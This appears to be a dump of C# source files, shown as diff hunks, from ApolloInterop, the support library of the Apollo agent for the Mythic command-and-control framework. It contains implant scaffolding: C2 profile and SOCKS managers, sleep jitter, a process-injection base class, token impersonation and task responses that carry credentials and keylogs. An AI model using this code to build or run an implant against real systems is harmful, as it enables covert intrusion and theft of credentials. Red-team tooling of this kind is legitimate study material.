public void Insert(int index, T item)
{
lock(_collection)
{
_collection[index] = item;
}
}
public bool Remove(T obj)
{
bool bRet = false;
lock(_collection)
{
bRet = _collection.Remove(obj);
}
return bRet;
}
public void RemoveAt(int index)
{
lock(_collection)
{
_collection.RemoveAt(index);
}
}
IEnumerator IEnumerable.GetEnumerator()
{
IEnumerator res;
lock(_collection)
{
res = _collection.GetEnumerator();
}
return res;
}
public T[] Flush()
{
T[] result;
lock(_collection)
{
result = _collection.ToArray();
_collection.Clear();
}
return result;
}
}
}
@@ -0,0 +1,115 @@
using System;
using System.Threading;
using ApolloInterop.Features.KerberosTickets;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes
{
public abstract class Agent : IAgent
{
private static Mutex _outputLock = new Mutex();
public int SleepInterval { get; protected set; } = 0;
public double Jitter { get; protected set; } = 0;
protected AutoResetEvent _sleepReset = new AutoResetEvent(false);
protected AutoResetEvent _exit = new AutoResetEvent(false);
protected WaitHandle[] _agentSleepHandles;
public bool Alive { get; protected set; } = true;
protected Random random = new Random((int)DateTime.UtcNow.Ticks);
public IPeerManager PeerManager { get; protected set; }
public ITaskManager TaskManager { get; protected set; }
public ISocksManager SocksManager { get; protected set; }
public IRpfwdManager RpfwdManager { get; protected set; }
public IApi Api { get; protected set; }
public IC2ProfileManager C2ProfileManager { get; protected set; }
public ICryptographySerializer Serializer { get; protected set; }
public IFileManager FileManager { get; protected set; }
public IIdentityManager IdentityManager { get; protected set; }
public IProcessManager ProcessManager { get; protected set; }
public IInjectionManager InjectionManager { get; protected set; }
public ITicketManager TicketManager { get; protected set; }
public string UUID { get; protected set; }
public Agent(string uuid)
{
UUID = uuid;
_agentSleepHandles = new WaitHandle[]
{
_sleepReset,
_exit
};
}
public abstract void Start();
public virtual void Exit() { Alive = false; _exit.Set(); }
public virtual void SetSleep(int seconds, double jitter=0)
{
SleepInterval = seconds * 1000;
Jitter = jitter;
if (Jitter != 0)
{
Jitter = Jitter / 100.0;
}
_sleepReset.Set();
}
public virtual IApi GetApi()
{
return Api;
}
public virtual void Sleep(WaitHandle[] handles = null)
{
int sleepTime = SleepInterval;
if (Jitter != 0)
{
int minSleep = (int)(SleepInterval * (1 - Jitter));
int maxSleep = (int)(SleepInterval * (Jitter + 1));
sleepTime = (int)(random.NextDouble() * (maxSleep - minSleep) + minSleep);
}
WaitHandle[] sleepers = _agentSleepHandles;
if (handles != null)
{
WaitHandle[] tmp = new WaitHandle[handles.Length + sleepers.Length];
Array.Copy(handles, tmp, handles.Length);
Array.Copy(sleepers, 0, tmp, handles.Length, sleepers.Length);
sleepers = tmp;
}
WaitHandle.WaitAny(sleepers, sleepTime);
}
public void AcquireOutputLock()
{
_outputLock.WaitOne();
}
public void ReleaseOutputLock()
{
_outputLock.ReleaseMutex();
}
public virtual bool IsAlive() { return Alive; }
public virtual ITaskManager GetTaskManager() { return TaskManager; }
public virtual IPeerManager GetPeerManager() { return PeerManager; }
public virtual ISocksManager GetSocksManager() { return SocksManager; }
public virtual IRpfwdManager GetRpfwdManager() { return RpfwdManager; }
public virtual IC2ProfileManager GetC2ProfileManager() { return C2ProfileManager; }
public virtual ICryptographySerializer GetCryptographySerializer() { return Serializer; }
public virtual IFileManager GetFileManager() { return FileManager; }
public virtual IIdentityManager GetIdentityManager() { return IdentityManager; }
public virtual IProcessManager GetProcessManager() { return ProcessManager; }
public virtual IInjectionManager GetInjectionManager() { return InjectionManager; }
public virtual ITicketManager GetTicketManager() { return TicketManager; }
public string GetUUID()
{
return UUID;
}
public void SetUUID(string newUUID){
UUID = newUUID;
}
}
}
@@ -0,0 +1,22 @@
using System.Collections.Generic;
using ApolloInterop.Interfaces;
using System.Collections.Concurrent;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Classes.Core;
namespace ApolloInterop.Classes
{
public abstract class C2Profile
{
protected const int MAX_RETRIES = 10;
protected ISerializer Serializer;
protected IAgent Agent;
protected bool Connected = false;
protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
public C2Profile(Dictionary<string, string> parameters, ISerializer serializer, IAgent agent)
{
Agent = agent;
Serializer = serializer;
}
}
}
@@ -0,0 +1,54 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes
{
public abstract class C2ProfileManager : IC2ProfileManager
{
protected IAgent Agent;
protected ConcurrentBag<IC2Profile> EgressProfiles = new ConcurrentBag<IC2Profile>();
protected ConcurrentBag<IC2Profile> IngressProfiles = new ConcurrentBag<IC2Profile>();
public C2ProfileManager(IAgent agent)
{
Agent = agent;
}
public abstract IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters);
public virtual bool AddEgress(IC2Profile profile)
{
EgressProfiles.Add(profile);
return true;
}
public virtual bool AddIngress(IC2Profile profile)
{
IngressProfiles.Add(profile);
return true;
}
public virtual IC2Profile[] GetEgressCollection()
{
return EgressProfiles.ToArray();
}
public virtual IC2Profile[] GetIngressCollection()
{
return IngressProfiles.ToArray();
}
public virtual IC2Profile[] GetConnectedEgressCollection()
{
List<IC2Profile> connected = new List<IC2Profile>();
foreach(var c2 in EgressProfiles.ToArray())
{
if (c2.IsConnected())
connected.Add(c2);
}
return connected.ToArray();
}
}
}
@@ -0,0 +1,36 @@
using ApolloInterop.Classes.Events;
using ApolloInterop.Interfaces;
using System;
namespace ApolloInterop.Classes.Core
{
public class ChunkedMessageStore<T> where T : IChunkMessage
{
private T[] _messages = null;
private object _lock = new object();
private int _currentCount = 0;
public event EventHandler<ChunkMessageEventArgs<T>> ChunkAdd;
public event EventHandler<ChunkMessageEventArgs<T>> MessageComplete;
public void OnMessageComplete() => MessageComplete?.Invoke(this, new ChunkMessageEventArgs<T>(_messages));
public void AddMessage(T d)
{
lock(_lock)
{
if (_messages == null)
{
_messages = new T[d.GetTotalChunks()];
}
_messages[d.GetChunkNumber()-1] = d;
_currentCount += 1;
}
if (_currentCount == d.GetTotalChunks())
{
OnMessageComplete();
} else
{
ChunkAdd?.Invoke(this, new ChunkMessageEventArgs<T>(new T[1] { d }));
}
}
}
}
@@ -0,0 +1,83 @@
using ApolloInterop.Classes.Api;
using ApolloInterop.Interfaces;
using static ApolloInterop.Enums.Win32;
using System;
using System.ComponentModel;
namespace ApolloInterop.Classes.Core
{
public abstract class InjectionTechnique : IInjectionTechnique
{
protected byte[] _code;
protected int _processId;
protected IntPtr _hProcess = IntPtr.Zero;
protected IAgent _agent;
protected delegate IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int pid);
protected delegate bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
out IntPtr lpTargetHandle,
ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
protected delegate void CloseHandle(IntPtr hHandle);
protected OpenProcess _pOpenProcess;
protected DuplicateHandle _pDuplicateHandle;
protected CloseHandle _pCloseHandle;
// Dangerous - should only be used when resolving
// critical functions _pOpenProcess, _pDuplicateHandle,
// and _pCloseHandle.
public InjectionTechnique()
{
}
public InjectionTechnique(IAgent agent, byte[] code, int pid)
{
_code = code;
_processId = pid;
_agent = agent;
ResolveCriticalFunctions();
_hProcess = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, pid);
}
public InjectionTechnique(IAgent agent, byte[] code, IntPtr hProcess)
{
_code = code;
_agent = agent;
ResolveCriticalFunctions();
bool bRet = _pDuplicateHandle(
System.Diagnostics.Process.GetCurrentProcess().Handle,
hProcess,
hProcess,
out _hProcess,
ProcessAccessFlags.MAXIMUM_ALLOWED,
false,
0);
if (!bRet)
{
throw new Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error());
}
}
~InjectionTechnique()
{
if (_hProcess != IntPtr.Zero)
{
_pCloseHandle(_hProcess);
}
}
private void ResolveCriticalFunctions()
{
_pOpenProcess = _agent.GetApi().GetLibraryFunction<OpenProcess>(Library.KERNEL32, "OpenProcess");
_pDuplicateHandle = _agent.GetApi().GetLibraryFunction<DuplicateHandle>(Library.KERNEL32, "DuplicateHandle");
_pCloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
}
public abstract bool Inject(string arguments = "");
}
}
@@ -0,0 +1,96 @@
using ApolloInterop.Classes.Api;
using ApolloInterop.Classes.Events;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.ApolloStructs;
using System;
namespace ApolloInterop.Classes.Core
{
public abstract class Process : IProcess
{
public string Application { get; protected set; }
public string CommandLine { get; protected set; }
protected bool _startSuspended;
public bool HasExited { get; protected set; }
public int ExitCode { get; protected set; }
public uint PID { get; protected set; }
public string StdOut { get; protected set; } = "";
public string StdErr { get; protected set; } = "";
public IntPtr Handle { get; protected set; }
protected IAgent _agent;
private delegate ulong RtlNtStatusToDosError(int status);
public event EventHandler<StringDataEventArgs> OutputDataReceived;
public event EventHandler<StringDataEventArgs> ErrorDataReceieved;
public event EventHandler Exit;
public void OnOutputDataReceived(object sender, StringDataEventArgs args)
{
OutputDataReceived?.Invoke(sender, args);
}
public void OnErrorDataRecieved(object sender, StringDataEventArgs args)
{
ErrorDataReceieved?.Invoke(sender, args);
}
public abstract void Kill();
public void OnExit(object sender, EventArgs args)
{
Exit?.Invoke(sender, args);
}
public Process(IAgent agent, string lpApplication, string lpArguments = null, bool startSuspended = false)
{
_agent = agent;
if (string.IsNullOrEmpty(lpApplication) && string.IsNullOrEmpty(lpArguments))
{
throw new Exception("Application and arguments cannot be null.");
}
if (string.IsNullOrEmpty(lpArguments))
{
CommandLine = lpApplication;
Application = lpApplication;
}
else if (string.IsNullOrEmpty(lpApplication))
{
CommandLine = lpArguments;
}
else
{
Application = lpApplication;
CommandLine = $"{lpApplication} {lpArguments}";
}
_startSuspended = startSuspended;
}
public int? GetExitCodeHResult()
{
const uint HRESULT_MASK = 0x80070000;
if (!HasExited)
{
return null;
}
var rtlNtStatusToDosError = _agent.GetApi().GetLibraryFunction<RtlNtStatusToDosError>(Library.NTDLL, "RtlNtStatusToDosError");
if (rtlNtStatusToDosError == null)
{
return null;
}
return unchecked((int)(rtlNtStatusToDosError(ExitCode) | HRESULT_MASK));
}
public abstract bool Inject(byte[] code, string arguments = "");
public abstract bool Start();
public abstract bool StartWithCredentials(ApolloLogonInformation logonInfo);
public abstract bool StartWithCredentials(IntPtr hToken);
public abstract void WaitForExit();
public abstract void WaitForExit(int milliseconds);
}
}
@@ -0,0 +1,32 @@
using System;
using System.Net.Sockets;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
namespace ApolloInterop.Classes
{
public abstract class RpfwdManager : IRpfwdManager
{
protected IAgent _agent;
public RpfwdManager(IAgent agent)
{
_agent = agent;
}
public virtual bool AddConnection(TcpClient client, int ServerID, int port, int debugLevel, Tasking task)
{
throw new NotImplementedException();
}
public virtual bool Route(SocksDatagram dg)
{
throw new NotImplementedException();
}
public virtual bool Remove(int id)
{
throw new NotImplementedException();
}
}
}
@@ -0,0 +1,26 @@
using System;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
namespace ApolloInterop.Classes
{
public abstract class SocksManager : ISocksManager
{
protected IAgent _agent;
public SocksManager(IAgent agent)
{
_agent = agent;
}
public virtual bool Route(SocksDatagram dg)
{
throw new NotImplementedException();
}
public virtual bool Remove(int id)
{
throw new NotImplementedException();
}
}
}
@@ -0,0 +1,128 @@
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Enums.ApolloEnums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using ApolloInterop.Serializers;
using ApolloInterop.Classes.Impersonation;
namespace ApolloInterop.Classes
{
public abstract class Tasking : ITask
{
protected IAgent _agent;
protected MythicTask _data;
protected static JsonSerializer _jsonSerializer = new JsonSerializer();
protected CancellationTokenSource _cancellationToken;
public Tasking(IAgent agent, MythicTask data)
{
_agent = agent;
_data = data;
_cancellationToken = new CancellationTokenSource();
}
public string ID()
{
return _data.ID;
}
public abstract void Start();
public virtual System.Threading.Tasks.Task CreateTasking()
{
return new System.Threading.Tasks.Task(() =>
{
var impersonationIdentity = _agent.GetIdentityManager().GetCurrentImpersonationIdentity();
ImpersonationScope.Run(impersonationIdentity, Start);
}, _cancellationToken.Token);
}
public virtual void Kill()
{
_cancellationToken.Cancel();
}
public virtual MythicTaskResponse CreateTaskResponse(object userOutput, bool completed, string? status = null, IEnumerable<IMythicMessage>? messages = null)
{
MythicTaskResponse resp = new MythicTaskResponse();
resp.UserOutput = userOutput;
resp.Completed = completed;
resp.TaskID = _data.ID;
resp.Status = status;
if (messages != null)
{
List<EdgeNode> edges = new List<EdgeNode>();
List<Credential> creds = new List<Credential>();
List<RemovedFileInformation> removed = new List<RemovedFileInformation>();
List<Artifact> artifacts = new List<Artifact>();
List<ProcessInformation> processes = new List<ProcessInformation>();
List<CommandInformation> cmds = new List<CommandInformation>();
List<KeylogInformation> keylogs = new List<KeylogInformation>();
foreach (IMythicMessage msg in messages)
{
switch (msg.GetTypeCode())
{
case MessageType.CommandInformation:
cmds.Add((CommandInformation)msg);
break;
case MessageType.EdgeNode:
edges.Add((EdgeNode)msg);
break;
case MessageType.FileBrowser:
resp.FileBrowser = (FileBrowser)msg;
break;
case MessageType.Credential:
creds.Add((Credential)msg);
break;
case MessageType.RemovedFileInformation:
removed.Add((RemovedFileInformation)msg);
break;
case MessageType.Artifact:
artifacts.Add((Artifact)msg);
break;
case MessageType.UploadMessage:
resp.Upload = (UploadMessage)msg;
break;
case MessageType.DownloadMessage:
resp.Download = (DownloadMessage)msg;
break;
case MessageType.ProcessInformation:
processes.Add((ProcessInformation)msg);
break;
case MessageType.KeylogInformation:
keylogs.Add((KeylogInformation)msg);
break;
case MessageType.CallbackUpdate:
resp.Callback = (CallbackUpdate)msg;
break;
default:
throw new Exception($"Unhandled message type while generating response: {msg.GetTypeCode()}");
}
}
resp.Edges = edges.ToArray();
resp.Credentials = creds.ToArray();
resp.RemovedFiles = removed.ToArray();
resp.Artifacts = artifacts.ToArray();
resp.Commands = cmds.ToArray();
resp.Keylogs = keylogs.ToArray();
if (processes.Count > 0)
{
resp.Processes = processes.ToArray();
}
}
return resp;
}
public virtual MythicTaskResponse CreateArtifactTaskResponse(IEnumerable<Artifact> artifacts)
{
var artifactMessages = new IMythicMessage[artifacts.Count()];
for (int i = 0; i < artifacts.Count(); i++)
{
artifactMessages[i] = artifacts.ElementAt(i);
}
return CreateTaskResponse("", false, "", artifactMessages);
}
}
}
@@ -0,0 +1,80 @@
using System.IO;
using System.Security.Cryptography;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes.Cryptography
{
public class AesRoutine : ICryptographicRoutine
{
private readonly Aes _aes;
public AesRoutine()
{
_aes = Aes.Create();
}
public AesRoutine(Aes aes)
{
_aes = aes;
}
public byte[] Encrypt(byte[] plaintext)
{
byte[] encrypted;
// Create an Aes object
// with the specified key and IV.
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = _aes.Key;
aesAlg.IV = _aes.IV;
// Create an encryptor to perform the stream transform.
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
// Create the streams used for encryption.
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
csEncrypt.Write(plaintext, 0, plaintext.Length);
}
encrypted = msEncrypt.ToArray();
}
}
// Return the encrypted bytes from the memory stream.
return encrypted;
}
public byte[] Decrypt(byte[] encrypted)
{
byte[] plaintext;
// Create an Aes object
// with the specified key and IV.
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = _aes.Key;
aesAlg.IV = _aes.IV;
// Create a decryptor to perform the stream transform.
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
// Create the streams used for decryption.
using (MemoryStream msDecrypt = new MemoryStream(encrypted))
{
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
{
using (BinaryReader brDecrypt = new BinaryReader(csDecrypt))
{
plaintext = brDecrypt.ReadBytes((int)msDecrypt.Length);
}
}
}
}
return plaintext;
}
}
}
@@ -0,0 +1,42 @@
using System;
using System.Text;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes
{
abstract public class CryptographyProvider : ICryptography
{
public byte[] PSK { get; private set; }
protected byte[] UUID { get; private set; }
public bool UUIDUpdated { get; private set; } = false;
public CryptographyProvider(string uuid, string key)
{
PSK = Convert.FromBase64String(key);
UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
}
// UUID should only be updated once after agent registration.
public bool UpdateUUID(string uuid)
{
UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
UUIDUpdated = true;
return true;
}
virtual public bool UpdateKey(string key)
{
PSK = Convert.FromBase64String(key);
return true;
}
public virtual string GetUUID()
{
return ASCIIEncoding.ASCII.GetString(UUID);
}
public abstract string Encrypt(string plaintext);
public abstract string Decrypt(string ciphertext);
}
}
@@ -0,0 +1,32 @@
using System.Security.Cryptography;
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes.Cryptography
{
public class DpapiRoutine : ICryptographicRoutine
{
private readonly byte[] _additionalEntropy;
private readonly DataProtectionScope _scope;
public DpapiRoutine(byte[] additionalEntropy, DataProtectionScope scope = DataProtectionScope.CurrentUser)
{
_additionalEntropy = additionalEntropy;
_scope = scope;
}
public DpapiRoutine(DataProtectionScope scope = DataProtectionScope.CurrentUser)
{
_scope = scope;
_additionalEntropy = null;
}
public byte[] Encrypt(byte[] data)
{
return ProtectedData.Protect(data, _additionalEntropy, _scope);
}
public byte[] Decrypt(byte[] data)
{
return ProtectedData.Unprotect(data, _additionalEntropy, _scope);
}
}
}
@@ -0,0 +1,33 @@
using System;
using System.Linq;
using System.Security.Cryptography;
namespace ApolloInterop.Classes
{
public abstract class RSAKeyGenerator
{
public string SessionId { get; private set; }
public RSACryptoServiceProvider RSA { get; protected set; }
public RSAKeyGenerator(int szKey)
{
SessionId = GenerateSessionId();
}
public RSAKeyGenerator(RSACryptoServiceProvider provider)
{
SessionId = GenerateSessionId();
RSA = provider;
}
public virtual string GenerateSessionId()
{
Random random = new Random((int)DateTime.UtcNow.Ticks);
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return new string(Enumerable.Repeat(chars, 20)
.Select(s => s[random.Next(s.Length)]).ToArray());
}
public abstract string ExportPublicKey();
public abstract string ExportPrivateKey();
}
}
@@ -0,0 +1,42 @@
using ApolloInterop.Interfaces;
namespace ApolloInterop.Classes.Cryptography
{
public class XorRoutine : ICryptographicRoutine
{
private byte[] _key;
public XorRoutine(byte[] key = null)
{
if (key == null)
{
_key = System.Guid.NewGuid().ToByteArray();
}
}
private byte[] Xor(byte[] input)
{
int j = 0;
for (int i = 0; i < input.Length; i++, j++)
{
if (j == _key.Length)
{
j = 0;
}
input[i] = (byte)(input[i] ^ _key[j]);
}
return input;
}
public byte[] Encrypt(byte[] data)
{
return Xor(data);
}
public byte[] Decrypt(byte[] data)
{
return Xor(data);
}
}
}
@@ -0,0 +1,15 @@
using ApolloInterop.Interfaces;
using System;
namespace ApolloInterop.Classes.Events
{
public class ChunkMessageEventArgs<T> : EventArgs where T : IChunkMessage
{
public T[] Chunks;
public ChunkMessageEventArgs(T[] chunks)
{
Chunks = chunks;
}
}
}
@@ -0,0 +1,12 @@
using ApolloInterop.Interfaces;
using System;
namespace ApolloInterop.Classes.Events
{
public class MythicMessageEventArgs : EventArgs
{
public IMythicMessage Message;
public MythicMessageEventArgs(IMythicMessage msg) => Message = msg;
}
}
@@ -0,0 +1,14 @@
using System;
namespace ApolloInterop.Classes.Events
{
public class StringDataEventArgs : EventArgs
{
public string Data;
public StringDataEventArgs(string d)
{
Data = d;
}
}
}
@@ -0,0 +1,13 @@
using System;
namespace ApolloInterop.Classes
{
public class UUIDEventArgs : EventArgs
{
public readonly string UUID;
public UUIDEventArgs(string uuid)
{
UUID = uuid;
}
}
}
@@ -0,0 +1,188 @@
using ApolloInterop.Classes.Events;
using System;
using System.IO;
using System.Linq;
namespace ApolloInterop.Classes.IO
{
public class EventableStringWriter : StringWriter
{
public event EventHandler<StringDataEventArgs> BufferWritten;
public override void Write(string value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value));
}
public override void Write(char[] buffer, int index, int count)
{
string value = new string(buffer.Skip(index).Take(count).ToArray());
BufferWritten?.Invoke(this, new StringDataEventArgs(value));
}
public override void Write(char[] buffer)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer)));
}
public override void Write(bool value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(int value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(uint value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(long value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(ulong value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(float value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(double value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(decimal value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(object value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void Write(string format, object arg0)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0)));
}
public override void Write(string format, object arg0, object arg1)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1)));
}
public override void Write(string format, object arg0, object arg1, object arg2)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2)));
}
public override void Write(string format, params object[] arg)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg)));
}
public override void Write(char value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
}
public override void WriteLine(char[] buffer, int index, int count)
{
string value = new string(buffer.Skip(0).Take(count).ToArray());
BufferWritten?.Invoke(this, new StringDataEventArgs(value + "\r\n"));
}
public override void WriteLine()
{
BufferWritten?.Invoke(this, new StringDataEventArgs("\r\n"));
}
public override void WriteLine(char value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(char[] buffer)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer) + "\r\n"));
}
public override void WriteLine(bool value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(int value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(uint value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(long value)
{
}
public override void WriteLine(ulong value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(float value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(double value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(decimal value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(string value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(object value)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
}
public override void WriteLine(string format, object arg0)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0) + "\r\n"));
}
public override void WriteLine(string format, object arg0, object arg1)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1) + "\r\n"));
}
public override void WriteLine(string format, object arg0, object arg1, object arg2)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2) + "\r\n"));
}
public override void WriteLine(string format, params object[] arg)
{
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg) + "\r\n"));
}
}
}
@@ -0,0 +1,34 @@
using System;
using System.Security.Principal;
namespace ApolloInterop.Classes.Impersonation
{
public static class ImpersonationScope
{
public static void Run(WindowsIdentity identity, Action action)
{
if (identity == null)
throw new ArgumentNullException(nameof(identity));
if (action == null)
throw new ArgumentNullException(nameof(action));
using (identity.Impersonate())
{
action();
}
}
public static T Run<T>(WindowsIdentity identity, Func<T> action)
{
if (identity == null)
throw new ArgumentNullException(nameof(identity));
if (action == null)
throw new ArgumentNullException(nameof(action));
using (identity.Impersonate())
{
return action();
}
}
}
}
@@ -0,0 +1,54 @@
using System;
namespace ApolloInterop.Classes.Impersonation
{
[Flags]
public enum PrivilegeAttributes : uint
{
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001,
SE_PRIVILEGE_ENABLED = 0x00000002,
SE_PRIVILEGE_REMOVED = 0x00000004,
SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
}
public enum TokenPrivilege
{
Unknown = -1,
SeAssignPrimaryTokenPrivilege,
SeAuditPrivilege,
SeBackupPrivilege,
SeChangeNotifyPrivilege,
SeCreateGlobalPrivilege,
SeCreatePagefilePrivilege,
SeCreatePermanentPrivilege,
SeCreateSymbolicLinkPrivilege,
SeCreateTokenPrivilege,
SeDebugPrivilege,
SeDelegateSessionUserImpersonatePrivilege,
SeEnableDelegationPrivilege,
SeImpersonatePrivilege,
SeIncreaseBasePriorityPrivilege,
SeIncreaseQuotaPrivilege,
SeIncreaseWorkingSetPrivilege,
SeLoadDriverPrivilege,
SeLockMemoryPrivilege,
SeMachineAccountPrivilege,
SeManageVolumePrivilege,
SeProfileSingleProcessPrivilege,
SeRelabelPrivilege,
SeRemoteShutdownPrivilege,
SeRestorePrivilege,
SeSecurityPrivilege,
SeShutdownPrivilege,
SeSyncAgentPrivilege,
SeSystemEnvironmentPrivilege,
SeSystemProfilePrivilege,
SeSystemtimePrivilege,
SeTakeOwnershipPrivilege,
SeTcbPrivilege,
SeTimeZonePrivilege,
SeTrustedCredManAccessPrivilege,
SeUndockPrivilege,
SeUnsolicitedInputPrivilege
}
}
@@ -0,0 +1,117 @@
using ApolloInterop.Classes.Core;
using ApolloInterop.Classes.Events;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Interfaces;
using ApolloInterop.Serializers;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Utils;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Text;
using System.Threading;
namespace ApolloInterop.Classes.P2P
{
public abstract class Peer : IPeer
{
public string C2ProfileName { get; protected set; }
protected IAgent _agent;
protected ISerializer _serializer;
protected PeerInformation _peerInfo;
protected string _uuid;
protected string _mythicUUID;
protected bool _previouslyConnected;
public event EventHandler<UUIDEventArgs> UUIDNegotiated;
protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> _messageOrganizer = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
protected ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
protected AutoResetEvent _senderEvent = new AutoResetEvent(false);
protected MessageType _serverResponseType;
public event EventHandler<EventArgs> ConnectionEstablished;
public event EventHandler<EventArgs> Disconnect;
protected CancellationTokenSource _cts = new CancellationTokenSource();
public Peer(IAgent agent, PeerInformation data, ISerializer serializer = null)
{
_agent = agent;
_peerInfo = data;
_uuid = agent.GetApi().NewUUID();
_previouslyConnected = false;
if (serializer == null)
{
_serializer = new JsonSerializer();
}
}
protected virtual void OnUUIDNegotiated(object sender, UUIDEventArgs args)
{
if (UUIDNegotiated != null)
{
UUIDNegotiated(sender, args);
}
}
public virtual void OnConnectionEstablished(object sender, EventArgs args)
{
ConnectionEstablished?.Invoke(sender, args);
}
public virtual void OnDisconnect(object sender, EventArgs args)
{
Disconnect?.Invoke(sender, args);
}
public abstract bool Start();
public abstract void Stop();
public abstract bool Connected();
public virtual void ProcessMessage(DelegateMessage message)
{
if (!string.IsNullOrEmpty(message.MythicUUID) &&
message.MythicUUID != _uuid)
{
_mythicUUID = message.MythicUUID;
OnUUIDNegotiated(this, new UUIDEventArgs(_mythicUUID));
_uuid = _mythicUUID;
}
_senderQueue.Enqueue(Encoding.UTF8.GetBytes(message.Message));
_senderEvent.Set();
}
public void DeserializeToReceiver(object sender, ChunkMessageEventArgs<IPCChunkedData> args)
{
MessageType mt = args.Chunks[0].Message;
List<byte> data = new List<byte>();
for(int i = 0; i < args.Chunks.Length; i++)
{
data.AddRange(Convert.FromBase64String(args.Chunks[i].Data));
}
// Probably where we do sorting based on EKE,
// checkin, and get_tasking
switch (mt)
{
// part of the checkin process, flag next message to be of EKE
case MessageType.EKEHandshakeMessage:
_serverResponseType = MessageType.EKEHandshakeResponse;
break;
default:
_serverResponseType = MessageType.MessageResponse;
break;
}
_agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage()
{
UUID = _uuid,
C2Profile = C2ProfileName,
Message = Encoding.UTF8.GetString(data.ToArray())
});
}
public virtual string GetUUID() { return _uuid; }
public virtual string GetMythicUUID() { return _mythicUUID; }
public abstract bool Finished();
}
}
@@ -0,0 +1,39 @@
using ApolloInterop.Interfaces;
